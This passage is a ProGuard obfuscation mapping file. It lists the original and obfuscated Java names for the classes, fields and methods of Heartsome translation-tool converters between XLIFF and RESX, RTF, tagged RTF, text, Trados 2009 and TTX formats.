access$0(net.heartsome.cat.converter.resx.Xliff2Resx) -> a + org.slf4j.Logger access$1() -> bY + net.heartsome.xml.Document access$2(java.lang.String,java.lang.String) -> s + boolean access$3(net.heartsome.xml.Element) -> o + void access$4(net.heartsome.xml.Document,java.lang.String) -> b +net.heartsome.cat.converter.resx.Xliff2Resx$Xliff2ResxImpl -> net.heartsome.cat.converter.resx.g: + net.heartsome.xml.Document xmlResx -> jz + java.lang.String inputFile -> dM + net.heartsome.cat.converter.resx.Xliff2Resx this$0 -> jB + java.util.Map run(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.converter.resx.resource.Messages -> net.heartsome.cat.converter.resx.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle RESOURCE_BUNDLE -> cZ + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.converter.rtf.Activator -> net.heartsome.cat.converter.rtf.Activator: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.converter.rtf.Activator plugin -> jC + org.osgi.framework.ServiceRegistration rtf2XliffSR -> jD + org.osgi.framework.ServiceRegistration xliff2RtfSR -> jE + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.converter.rtf.Activator getDefault() -> getDefault +net.heartsome.cat.converter.rtf.Rtf2Xliff -> net.heartsome.cat.converter.rtf.Rtf2Xliff: + java.lang.String TYPE_VALUE -> TYPE_VALUE + java.lang.String TYPE_NAME_VALUE -> TYPE_NAME_VALUE + java.lang.String NAME_VALUE -> NAME_VALUE + java.util.Map convert(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> convert + java.lang.String getName() -> getName + java.lang.String getType() -> getType + java.lang.String getTypeName() -> getTypeName +net.heartsome.cat.converter.rtf.Rtf2Xliff$Rtf2XliffImpl -> net.heartsome.cat.converter.rtf.Rtf2Xliff$Rtf2XliffImpl: + java.io.FileInputStream input -> ei + java.io.FileOutputStream output -> dR + java.io.FileOutputStream skeleton -> ej + java.lang.String content -> o + java.lang.String header -> header + java.util.Vector groups -> jF + java.lang.String mainText -> jG + java.util.Vector styles -> jH + java.lang.String defaultCpg -> jI + java.lang.String defaultFont -> jJ + java.lang.String defaultLang -> jK + java.lang.String defaultUC -> jL + boolean inLOCH -> jM + boolean inHICH -> jN + boolean inDBCH -> jO + java.lang.String srcEncoding -> srcEncoding + java.util.Hashtable fontTable -> jP + java.util.Hashtable charsets -> jQ + java.util.Vector fonts -> jR + java.util.Hashtable status -> jS + java.util.Stack stack -> stack + java.util.Hashtable ignore -> jT + int skip -> jU + java.lang.String defaultAF -> jV + java.util.Hashtable defaultStatus -> jW + boolean tw4winTerm -> jX + boolean tw4winMark -> jY + boolean tw4winError -> jZ + boolean tw4winPopup -> ka + boolean tw4winJump -> kb + boolean tw4winExternal -> kc + boolean tw4winInternal -> kd + boolean do_not_translate -> ke + java.lang.String winExternal -> kf + java.lang.String winInternal -> kg + java.lang.String winMark -> kh + java.lang.String not_translate -> ki + java.lang.String internalValue -> kj + java.lang.String externalValue -> kk + java.lang.String noTranslateValue -> kl + java.util.Vector colorList -> km + int colorGroup -> kn + int fontGroup -> ko + int styleGroup -> kp + java.util.Hashtable styleFonts -> kq + java.lang.String sourceLanguage -> eh + java.lang.String targetLanguage -> cW + boolean taggedRTF -> kr + boolean segByElement -> segByElement + int segId -> ek + java.util.Hashtable breaks -> ks + java.util.Vector segments -> kt + java.lang.String start -> ku + java.lang.String end -> kv + java.lang.String meat -> kw + boolean inExternal -> inExternal + net.heartsome.cat.converter.StringSegmenter segmenter -> er + java.lang.String skeletonFile -> dO + java.lang.String xliffFile -> dN + java.lang.Object markStyle -> kx + java.lang.String inputFile -> dM + java.util.Hashtable symbols -> symbols + java.util.Hashtable ignorableFonts -> ky + java.lang.String defaultCF -> kz + java.util.Hashtable cfTable -> kA + java.lang.String qtToolID -> dT + boolean isSuite -> dS + java.lang.String dataType -> cX + java.lang.String programFoler -> kB + net.heartsome.cat.converter.rtf.Rtf2Xliff this$0 -> kC + java.util.Map run(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> run + void loadSymbols() -> bZ + java.lang.String parseGroup(java.lang.String,org.eclipse.core.runtime.IProgressMonitor) -> d + java.lang.String cleanGroup(java.lang.String) -> bb + java.lang.String removeControl(java.lang.String,java.lang.String) -> t + void parseStyles() -> ca + void buildCharsets() -> cb + void buildFontList(java.lang.String) -> bc + java.lang.String parseFont(java.lang.String) -> bd + void processHeader() -> cc + java.lang.String getEncoding(java.lang.String) -> getEncoding + java.lang.String parseMainText(org.eclipse.core.runtime.IProgressMonitor) -> k + java.lang.String getReminder(java.lang.String) -> be + void resetStatus() -> cd + java.lang.String decode(java.lang.String) -> decode + void restoreStatus() -> ce + void saveCurrStatus() -> cf + void writeStr(java.lang.String) -> bf + void buildGroups() -> cg + void buildStyleList(java.lang.String) -> bg + java.lang.String getValue(java.lang.String) -> getValue + java.lang.String getControl(java.lang.String) -> bh + java.lang.String replaceToken(java.lang.String,java.lang.String,java.lang.String) -> replaceToken + java.lang.String decodeU(java.lang.String) -> bi + boolean isDigit(char) -> isDigit + void fillIgnore() -> ch + void buildColorList(java.lang.String) -> bj + void addStyles() -> ci + int getColor(java.lang.String) -> bk + int getNextFreestyle() -> cj + int getMaxFont() -> ck + boolean isLeadByte(byte) -> a + void parse(java.lang.String,org.eclipse.core.runtime.IProgressMonitor) -> e + void initBreaks() -> cl + void checkSegments(org.eclipse.core.runtime.IProgressMonitor) -> l + void writeSkl(java.lang.String) -> bl + void writeSkeleton(java.lang.String) -> D + java.lang.String restoreControls(java.lang.String) -> bm + void processSegment(java.lang.String) -> bn + java.lang.String clean(java.lang.String) -> clean + boolean containsText(java.lang.String) -> s + java.lang.String removeTradosTag(java.lang.String) -> bo + java.lang.String removeCtrl(java.lang.String) -> bp + void writeSegment(java.lang.String) -> x + int find(java.lang.String,java.lang.String,int) -> find + java.lang.String removePh(java.lang.String) -> bq + void tidy(java.lang.String) -> br + java.lang.String tag(java.lang.String) -> C + java.lang.String[] splitTagged(java.lang.String) -> bs + java.lang.String unTag(java.lang.String) -> bt + java.lang.String getStyle(java.lang.String) -> bu + void writeHeader() -> writeHeader + java.lang.String getValue(java.lang.String,java.lang.String) -> getValue +net.heartsome.cat.converter.rtf.Xliff2Rtf -> net.heartsome.cat.converter.rtf.Xliff2Rtf: + java.lang.String TYPE_VALUE -> TYPE_VALUE + java.lang.String TYPE_NAME_VALUE -> TYPE_NAME_VALUE + java.lang.String NAME_VALUE -> NAME_VALUE + java.util.Map convert(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> convert + java.lang.String getName() -> getName + java.lang.String getType() -> getType + java.lang.String getTypeName() -> getTypeName + java.lang.String clean(java.lang.String) -> clean + java.lang.String cleanChars(java.lang.String) -> Q +net.heartsome.cat.converter.rtf.Xliff2Rtf$Xliff2RtfImpl -> net.heartsome.cat.converter.rtf.Xliff2Rtf$Xliff2RtfImpl: + java.lang.String UTF_8 -> UTF_8 + java.lang.String sklFile -> ey + java.lang.String xliffFile -> dN + net.heartsome.xml.Catalogue catalogue -> eA + java.io.FileOutputStream output -> dR + java.io.InputStreamReader input -> ew + java.io.BufferedReader buffer -> ex + java.util.Hashtable segments -> ez + java.lang.String line -> line + net.heartsome.cat.converter.rtf.Xliff2Rtf this$0 -> kD + java.util.Map run(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> run + void loadSegments() -> N + void writeString(java.lang.String) -> writeString + java.lang.String extractText(net.heartsome.xml.Element) -> extractText + java.lang.String replaceToken(java.lang.String,java.lang.String,java.lang.String) -> replaceToken +net.heartsome.cat.converter.rtf.resource.Messages -> net.heartsome.cat.converter.rtf.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle RESOURCE_BUNDLE -> cZ + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.converter.taggedrtf.Activator -> net.heartsome.cat.converter.taggedrtf.a: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.converter.taggedrtf.Activator plugin -> kE + org.osgi.framework.BundleContext bundleContext -> fl + org.osgi.util.tracker.ServiceTracker positiveTracker -> fm + org.osgi.util.tracker.ServiceTracker reverseTracker -> fn + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.converter.taggedrtf.Activator getDefault() -> cm + net.heartsome.cat.converter.Converter getRtfConverter(java.lang.String) -> bv + org.osgi.framework.BundleContext access$0() -> J +net.heartsome.cat.converter.taggedrtf.Activator$RtfPositiveCustomizer -> net.heartsome.cat.converter.taggedrtf.b: + net.heartsome.cat.converter.taggedrtf.Activator this$0 -> kF + java.lang.Object addingService(org.osgi.framework.ServiceReference) -> addingService + void modifiedService(org.osgi.framework.ServiceReference,java.lang.Object) -> modifiedService + void removedService(org.osgi.framework.ServiceReference,java.lang.Object) -> removedService +net.heartsome.cat.converter.taggedrtf.Activator$RtfReverseCustomize -> net.heartsome.cat.converter.taggedrtf.c: + net.heartsome.cat.converter.taggedrtf.Activator this$0 -> kF + java.lang.Object addingService(org.osgi.framework.ServiceReference) -> addingService + void modifiedService(org.osgi.framework.ServiceReference,java.lang.Object) -> modifiedService + void removedService(org.osgi.framework.ServiceReference,java.lang.Object) -> removedService +net.heartsome.cat.converter.taggedrtf.TaggedRtf2Xliff -> net.heartsome.cat.converter.taggedrtf.d: + java.lang.String TYPE_VALUE -> TYPE_VALUE + java.lang.String TYPE_NAME_VALUE -> TYPE_NAME_VALUE + java.lang.String NAME_VALUE -> NAME_VALUE + net.heartsome.cat.converter.Converter dependantConverter -> fp + java.util.Map convert(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> convert + java.lang.String getName() -> getName + java.lang.String getType() -> getType + java.lang.String getTypeName() -> getTypeName + int find(java.lang.String,java.lang.String,int) -> find + java.lang.String removePh(java.lang.String) -> bq + net.heartsome.cat.converter.Converter access$0(net.heartsome.cat.converter.taggedrtf.TaggedRtf2Xliff) -> a +net.heartsome.cat.converter.taggedrtf.TaggedRtf2Xliff$TaggedRtf2XliffImpl -> net.heartsome.cat.converter.taggedrtf.e: + net.heartsome.xml.Document sdoc -> kG + net.heartsome.xml.Document tdoc -> kH + net.heartsome.xml.Element sroot -> kI + net.heartsome.xml.Element troot -> kJ + net.heartsome.xml.Element tbody -> kK + java.lang.String match -> match + java.lang.String sourceStart -> kL + java.lang.String sourceEnd -> kM + java.lang.String targetStart -> kN + java.lang.String targetEnd -> kO + boolean lock100 -> lock100 + boolean isSuite -> dS + java.lang.String qtToolID -> dT + net.heartsome.cat.converter.taggedrtf.TaggedRtf2Xliff this$0 -> kP + java.util.Map run(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> run + void parseUnit(net.heartsome.xml.Element) -> p + java.util.List compact(java.util.List) -> g + void equalizeTags(net.heartsome.xml.Element,net.heartsome.xml.Element) -> a + void enumerateTags(net.heartsome.xml.Element) -> q + void removeTags(net.heartsome.xml.Element) -> r + int countTags(net.heartsome.xml.Element) -> s + net.heartsome.xml.Element fix(net.heartsome.xml.Element,java.lang.String) -> b + void trimTags(net.heartsome.xml.Element) -> t + void copyAttributes(net.heartsome.xml.Element,net.heartsome.xml.Element) -> b +net.heartsome.cat.converter.taggedrtf.Xliff2TaggedRtf -> net.heartsome.cat.converter.taggedrtf.f: + org.slf4j.Logger LOGGER -> LOGGER + java.lang.String TYPE_VALUE -> TYPE_VALUE + java.lang.String TYPE_NAME_VALUE -> TYPE_NAME_VALUE + java.lang.String NAME_VALUE -> NAME_VALUE + net.heartsome.cat.converter.Converter dependantConverter -> fp + java.util.Map convert(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> convert + java.lang.String getName() -> getName + java.lang.String getType() -> getType + java.lang.String getTypeName() -> getTypeName + org.slf4j.Logger access$0() -> access$0 + net.heartsome.cat.converter.Converter access$1(net.heartsome.cat.converter.taggedrtf.Xliff2TaggedRtf) -> a +net.heartsome.cat.converter.taggedrtf.Xliff2TaggedRtf$Xliff2TaggedRtfImpl -> net.heartsome.cat.converter.taggedrtf.g: + java.lang.String skeleton -> skeleton + java.lang.String xliff -> kQ + net.heartsome.xml.Document sklDoc -> kR + net.heartsome.xml.Element sklRoot -> kS + java.util.Hashtable segments -> ez + java.lang.String tw4winMark -> kT + net.heartsome.xml.Element sourceStart -> kU + net.heartsome.xml.Element sourceEnd -> kV + net.heartsome.xml.Element targetStart -> kW + net.heartsome.xml.Element targetEnd -> kX + java.lang.String tags -> kY + java.lang.String close -> kZ + net.heartsome.cat.converter.taggedrtf.Xliff2TaggedRtf this$0 -> la + java.util.Map run(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> run + java.lang.String getSkeleton() -> getSkeleton + void processFiles() -> cn + void buildTarget(net.heartsome.xml.Element,net.heartsome.xml.Element) -> c + void closeTags() -> co + void checkTags(net.heartsome.xml.Element) -> u + void buildMissingTags(net.heartsome.xml.Element) -> v + void loadFiles() -> x +net.heartsome.cat.converter.taggedrtf.resource.Messages -> net.heartsome.cat.converter.taggedrtf.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle RESOURCE_BUNDLE -> cZ + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.converter.text.Activator -> net.heartsome.cat.converter.text.a: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.converter.text.Activator plugin -> lb + org.osgi.framework.ServiceRegistration text2XliffSR -> lc + org.osgi.framework.ServiceRegistration xliff2TextSR -> ld + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.converter.text.Activator getDefault() -> cp +net.heartsome.cat.converter.text.Text2Xliff -> net.heartsome.cat.converter.text.b: + java.lang.String TYPE_VALUE -> TYPE_VALUE + java.lang.String TYPE_NAME_VALUE -> TYPE_NAME_VALUE + java.lang.String NAME_VALUE -> NAME_VALUE + java.util.Map convert(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> convert + java.lang.String getName() -> getName + java.lang.String getType() -> getType + java.lang.String getTypeName() -> getTypeName +net.heartsome.cat.converter.text.Text2Xliff$Text2XliffImpl -> net.heartsome.cat.converter.text.c: + java.io.InputStreamReader input -> ew + java.io.FileOutputStream output -> dR + java.io.FileOutputStream skeleton -> ej + java.io.BufferedReader buffer -> ex + java.lang.String inputFile -> dM + java.lang.String xliffFile -> dN + java.lang.String skeletonFile -> dO + java.lang.String source -> source + java.lang.String sourceLanguage -> eh + java.lang.String targetLanguage -> cW + int segId -> ek + net.heartsome.cat.converter.StringSegmenter segmenter -> er + boolean segByElement -> segByElement + net.heartsome.cat.converter.text.Text2Xliff this$0 -> le + void writeString(java.lang.String) -> writeString + void writeSkeleton(java.lang.String) -> D + void writeSegment() -> L + java.util.Map run(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.converter.text.Xliff2Text -> net.heartsome.cat.converter.text.d: + java.lang.String TYPE_VALUE -> TYPE_VALUE + java.lang.String TYPE_NAME_VALUE -> TYPE_NAME_VALUE + java.lang.String NAME_VALUE -> NAME_VALUE + java.util.Map convert(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> convert + java.lang.String getName() -> getName + java.lang.String getType() -> getType + java.lang.String getTypeName() -> getTypeName +net.heartsome.cat.converter.text.Xliff2Text$Xliff2TextImpl -> net.heartsome.cat.converter.text.e: + java.lang.String UTF_8 -> UTF_8 + java.lang.String sklFile -> ey + java.lang.String xliffFile -> dN + java.lang.String encoding -> encoding + java.util.Hashtable segments -> ez + net.heartsome.xml.Catalogue catalogue -> eA + java.io.FileOutputStream output -> dR + java.io.InputStreamReader input -> ew + java.io.BufferedReader buffer -> ex + java.lang.String line -> line + net.heartsome.cat.converter.text.Xliff2Text this$0 -> lf + java.util.Map run(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> run + java.lang.String extractText(net.heartsome.xml.Element) -> extractText + void loadSegments() -> N + void writeString(java.lang.String) -> writeString +net.heartsome.cat.converter.text.resource.Messages -> net.heartsome.cat.converter.text.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle RESOURCE_BUNDLE -> cZ + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.converter.trados2009.Activator -> net.heartsome.cat.converter.trados2009.a: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.converter.trados2009.Activator plugin -> lg + org.osgi.framework.ServiceRegistration sdl2XliffSR -> lh + org.osgi.framework.ServiceRegistration xliff2SdlSR -> li + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.converter.trados2009.Activator getDefault() -> cq +net.heartsome.cat.converter.trados2009.CommentBean -> net.heartsome.cat.converter.trados2009.b: + java.lang.String commentText -> lj + java.lang.String user -> user + java.lang.String date -> lk + java.lang.String severity -> ll + boolean isCurrentSeg -> lm + java.lang.String getCommentText() -> getCommentText + void setCommentText(java.lang.String) -> setCommentText + java.lang.String getUser() -> getUser + void setUser(java.lang.String) -> setUser + java.lang.String getDate() -> getDate + void setDate(java.lang.String) -> setDate + java.lang.String getSeverity() -> getSeverity + void setSeverity(java.lang.String) -> bx + boolean isCurrent() -> isCurrent + void setCurrent(boolean) -> i + java.lang.String getR8NoteText() -> cs + boolean equals(java.lang.Object) -> equals +net.heartsome.cat.converter.trados2009.Sdl2Xliff -> net.heartsome.cat.converter.trados2009.c: + java.lang.String TYPE_VALUE -> TYPE_VALUE + java.lang.String TYPE_NAME_VALUE -> TYPE_NAME_VALUE + java.lang.String NAME_VALUE -> NAME_VALUE + java.util.Map convert(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> convert + java.lang.String getName() -> getName + java.lang.String getType() -> getType + java.lang.String getTypeName() -> getTypeName + void copyFile(java.lang.String,java.lang.String) -> copyFile + void access$0(java.lang.String,java.lang.String) -> c +net.heartsome.cat.converter.trados2009.Sdl2Xliff$Sdl2XliffImpl -> net.heartsome.cat.converter.trados2009.d: + java.lang.String inputFile -> dM + java.lang.String xliffFile -> dN + java.lang.String skeletonFile -> dO + java.lang.String userSourceLang -> dP + java.lang.String targetLang -> dQ + java.lang.String srcEncoding -> srcEncoding + java.io.FileOutputStream output -> dR + java.util.List fileCommentsList -> ln + int tagId -> el + java.lang.String catalogue -> catalogue + boolean ignoreTags -> lo + boolean lockXtrans -> lockXtrans + boolean lock100 -> lock100 + boolean isSuite -> dS + java.lang.String qtToolID -> dT + com.ximpleware.VTDNav sklVN -> dU + com.ximpleware.XMLModifier sklXM -> dV + net.heartsome.cat.converter.trados2009.Sdl2Xliff this$0 -> lp + java.util.Map run(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> run + void writeHeader() -> writeHeader + void writeString(java.lang.String) -> writeString + void parseSkeletonFile() -> B + void analyzeNodes() -> C + void insertPlaceHolder(net.heartsome.xml.vtdimpl.VTDUtils,int) -> a + void writeSegment(net.heartsome.cat.converter.trados2009.TuMrkBean,net.heartsome.cat.converter.trados2009.TuMrkBean,int) -> a + void anysisTuMrkNode(com.ximpleware.VTDNav,net.heartsome.xml.vtdimpl.VTDUtils,net.heartsome.cat.converter.trados2009.TuMrkBean) -> a + void anysisTuMrkStatus(com.ximpleware.VTDNav,net.heartsome.xml.vtdimpl.VTDUtils,net.heartsome.cat.converter.trados2009.TuMrkBean,java.lang.String) -> a + void getFileComments() -> ct + void getSdlComment(com.ximpleware.VTDNav,net.heartsome.xml.vtdimpl.VTDUtils,java.lang.String,net.heartsome.cat.converter.trados2009.TuMrkBean) -> a + void deleteSklComments() -> cu +net.heartsome.cat.converter.trados2009.TuMrkBean -> net.heartsome.cat.converter.trados2009.e: + java.lang.String mid -> dX + java.lang.String content -> o + boolean isSource -> isSource + java.util.List commentList -> lq + java.lang.String status -> status + boolean isLocked -> dY + java.lang.String quality -> VN + java.lang.String matchType -> VM + boolean isTextNull() -> D + java.lang.String getMid() -> E + void setMid(java.lang.String) -> p + java.lang.String getContent() -> getContent + void setContent(java.lang.String) -> setContent + java.util.List getCommentList() -> getCommentList + void setCommentList(java.util.List) -> h + boolean isSource() -> isSource + void setSource(boolean) -> e + java.lang.String getStatus() -> getStatus + void setStatus(java.lang.String) -> setStatus + boolean isLocked() -> isLocked + void setLocked(boolean) -> setLocked + void addFileComments(java.util.List) -> i + java.lang.String getQuality() -> kv + void setQuality(java.lang.String) -> ez + java.lang.String getMatchType() -> getMatchType + void setMatchType(java.lang.String) -> ey +net.heartsome.cat.converter.trados2009.Xliff2Sdl -> net.heartsome.cat.converter.trados2009.f: + java.lang.String TYPE_VALUE -> TYPE_VALUE + java.lang.String TYPE_NAME_VALUE -> TYPE_NAME_VALUE + java.lang.String NAME_VALUE -> NAME_VALUE + java.util.Map convert(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> convert + java.lang.String getName() -> getName + java.lang.String getType() -> getType + java.lang.String getTypeName() -> getTypeName + void copyFile(java.lang.String,java.lang.String) -> copyFile + void main(java.lang.String[]) -> main + void access$0(java.lang.String,java.lang.String) -> c +net.heartsome.cat.converter.trados2009.Xliff2Sdl$Xliff2SdlImpl -> net.heartsome.cat.converter.trados2009.g: + java.util.Hashtable segments -> ez + java.lang.String outputFile -> outputFile + java.lang.String encoding -> encoding + net.heartsome.xml.Catalogue catalogue -> eA + java.lang.String detectedSourceLang -> lr + java.lang.String detectedTargetLang -> ls + java.io.InputStream fr -> lt + java.io.BufferedReader br -> br + java.io.BufferedWriter bos -> lu + java.io.OutputStream os -> lv + boolean started -> started + java.lang.String id -> id + java.lang.StringBuffer header -> lw + boolean endHeader -> lx + boolean writeSource -> ly + boolean hasTuTag -> lz + java.lang.String preSegID -> lA + net.heartsome.cat.converter.util.CalculateProcessedBytes cpb -> eB + org.eclipse.core.runtime.IProgressMonitor replaceMonitor -> eC + boolean isPreviewMode -> iP + int workInterval -> mO + com.ximpleware.VTDNav outputVN -> dZ + com.ximpleware.XMLModifier outputXM -> ea + com.ximpleware.AutoPilot outputAP -> eb + com.ximpleware.VTDNav xlfVN -> fR + java.util.List fileCommentsList -> ln + java.util.Map commentMap -> lB + net.heartsome.cat.converter.trados2009.Xliff2Sdl this$0 -> lC + java.util.Map run(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> run + void parseOutputFile(java.lang.String,java.lang.String) -> d + void parseXlfFile(java.lang.String) -> q + void ananysisXlfTU(org.eclipse.core.runtime.IProgressMonitor) -> v + void getNotes(com.ximpleware.VTDNav,net.heartsome.cat.converter.trados2009.TuMrkBean) -> a + void replaceSegment(java.lang.String,net.heartsome.cat.converter.trados2009.TuMrkBean,net.heartsome.cat.converter.trados2009.TuMrkBean) -> a + void createComments() -> cw + boolean monitorWork(org.eclipse.core.runtime.IProgressMonitor,int,boolean) -> monitorWork +net.heartsome.cat.converter.trados2009.resource.Messages -> net.heartsome.cat.converter.trados2009.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle RESOURCE_BUNDLE -> cZ + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.converter.ttx.Activator -> net.heartsome.cat.converter.ttx.a: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.converter.ttx.Activator plugin -> lD + org.osgi.framework.ServiceRegistration ttx2XliffSR -> lE + org.osgi.framework.ServiceRegistration xliff2TtxSR -> lF + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.converter.ttx.Activator getDefault() -> cy +net.heartsome.cat.converter.ttx.ArrangeTTX -> net.heartsome.cat.converter.ttx.b: + net.heartsome.cat.converter.StringSegmenter segmenter -> er + com.ximpleware.VTDNav sklVN -> dU + com.ximpleware.XMLModifier sklXM -> dV + java.lang.String detectedSourceLang -> lr + java.lang.String detectedTargetLang -> ls + net.heartsome.xml.vtdimpl.VTDUtils vu -> k + java.util.List rawTextTokenList -> lG + boolean start -> start + boolean end -> lH + boolean needAdd -> lI + void createTuNode(java.lang.String) -> by + void analysisDF(com.ximpleware.VTDNav,net.heartsome.cat.converter.ttx.SegmentBean) -> a + void analysisUT(com.ximpleware.VTDNav,net.heartsome.cat.converter.ttx.SegmentBean) -> b + void splitSegment(com.ximpleware.VTDNav,java.util.TreeMap) -> a + void getRawTextToken() -> cz +net.heartsome.cat.converter.ttx.MissTranslationException -> net.heartsome.cat.converter.ttx.i: + long serialVersionUID -> serialVersionUID +net.heartsome.cat.converter.ttx.SegmentBean -> net.heartsome.cat.converter.ttx.c: + java.lang.String parentNodeFrag -> lJ + boolean hasTag -> lK + java.lang.String segment -> lL + java.lang.String tagStr -> lM + java.lang.String getParentNodeFrag() -> cA + void setParentNodeFrag(java.lang.String) -> bz + boolean isHasTag() -> cB + void setHasTag(boolean) -> j + java.lang.String getSegment() -> cC + void setSegment(java.lang.String) -> bA + java.lang.String getTagStr() -> getTagStr + void setTagStr(java.lang.String) -> setTagStr +net.heartsome.cat.converter.ttx.TextBean -> net.heartsome.cat.converter.ttx.d: + int tagId -> el + java.lang.String text -> text + java.lang.String parentFrag -> lN + boolean hasTag -> lK + boolean isText -> isText + int getTagId() -> getTagId + void setTagId(int) -> f + java.lang.String getText() -> getText + void setText(java.lang.String) -> setText + java.lang.String getParentFrag() -> cF + void setParentFrag(java.lang.String) -> bC + boolean isHasTag() -> cB + void setHasTag(boolean) -> j + boolean isText() -> isText + void setText(boolean) -> setText +net.heartsome.cat.converter.ttx.Ttx2Xliff -> net.heartsome.cat.converter.ttx.e: + java.lang.String TYPE_VALUE -> TYPE_VALUE + java.lang.String TYPE_NAME_VALUE -> TYPE_NAME_VALUE + java.lang.String NAME_VALUE -> NAME_VALUE + java.util.Map convert(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> convert + java.lang.String getName() -> getName + java.lang.String getType() -> getType + java.lang.String getTypeName() -> getTypeName + void copyFile(java.lang.String,java.lang.String) -> copyFile + void copyFile(java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> a + java.lang.String cleanString(java.lang.String) -> cleanString + void main(java.lang.String[]) -> main + void access$0(java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> b + void access$1(java.lang.String,java.lang.String) -> u + java.lang.String access$2(java.lang.String) -> v +net.heartsome.cat.converter.ttx.Ttx2Xliff$Ttx2XliffImpl -> net.heartsome.cat.converter.ttx.f: + java.lang.String inputFile -> dM + java.lang.String xliffFile -> dN + java.lang.String skeletonFile -> dO + java.lang.String userSourceLang -> dP + java.lang.String targetLang -> dQ + java.lang.String detectedSourceLang -> lr + java.lang.String detectedTargetLang -> ls + java.lang.String srcEncoding -> srcEncoding + java.io.FileOutputStream output -> dR + int segId -> ek + int tagId -> el + boolean lockXtrans -> lockXtrans + boolean lock100 -> lock100 + boolean isSuite -> dS + java.lang.String qtToolID -> dT + com.ximpleware.VTDNav sklVN -> dU + com.ximpleware.XMLModifier sklXM -> dV + int addedEndTagNum -> lP + net.heartsome.cat.converter.ttx.Ttx2Xliff this$0 -> lQ + java.util.Map run(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> run + void deleteDF() -> oq + void check(java.util.Map) -> u + void parseSkeletonFile() -> B + void getSrcAndTgtLang() -> cG + void writeHeader() -> writeHeader + void analyzeNodes() -> C + void analysisChildOfSrcTuv(java.util.Map,com.ximpleware.VTDNav,net.heartsome.xml.vtdimpl.VTDUtils) -> a + void analysisChildOfTgtTuv(java.util.Map,com.ximpleware.VTDNav,net.heartsome.xml.vtdimpl.VTDUtils) -> b + java.lang.String analysisSrcTextMap(java.util.Map,java.util.Map) -> a + java.lang.String analysisTgtTextMap(java.util.Map,java.util.Map) -> b + java.lang.String replaceR8Tag(java.lang.String,java.util.Map) -> b + int getTagSegmentId(java.lang.String,java.util.Map) -> c + java.lang.String resetText(java.lang.String) -> bD + void writeString(java.lang.String) -> writeString + void writeSegment(java.lang.String,java.lang.String,int,boolean,boolean) -> a + void addPHIdToXliff() -> jk +net.heartsome.cat.converter.ttx.Xliff2Ttx -> net.heartsome.cat.converter.ttx.g: + java.lang.String TYPE_VALUE -> TYPE_VALUE + java.lang.String TYPE_NAME_VALUE -> TYPE_NAME_VALUE + java.lang.String NAME_VALUE -> NAME_VALUE + java.util.Map convert(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> convert + java.lang.String getName() -> getName + java.lang.String getType() -> getType + java.lang.String getTypeName() -> getTypeName + void copyFile(java.lang.String,java.lang.String) -> copyFile + void copyFile(java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> a + void main(java.lang.String[]) -> main + void access$0(java.lang.String,java.lang.String) -> c + void access$1(java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> c +net.heartsome.cat.converter.ttx.Xliff2Ttx$Xliff2TtxImpl -> net.heartsome.cat.converter.ttx.h: + java.lang.String outputFile -> outputFile + java.lang.String encoding -> encoding + java.lang.String detectedSourceLang -> lr + java.lang.String detectedTargetLang -> ls + boolean isPreviewMode -> iP + com.ximpleware.VTDNav outputVN -> dZ + com.ximpleware.XMLModifier outputXM -> ea + com.ximpleware.AutoPilot outputAP -> eb + net.heartsome.xml.vtdimpl.VTDUtils outputVU -> lR + com.ximpleware.VTDNav xlfVN -> fR + com.ximpleware.AutoPilot xlfAP -> lS + java.lang.String nodeXpath -> lT + com.ximpleware.AutoPilot tagAP -> lU + int addedEndTagNum -> lP + int workInterval -> mO + net.heartsome.cat.converter.ttx.Xliff2Ttx this$0 -> lV + java.util.Map 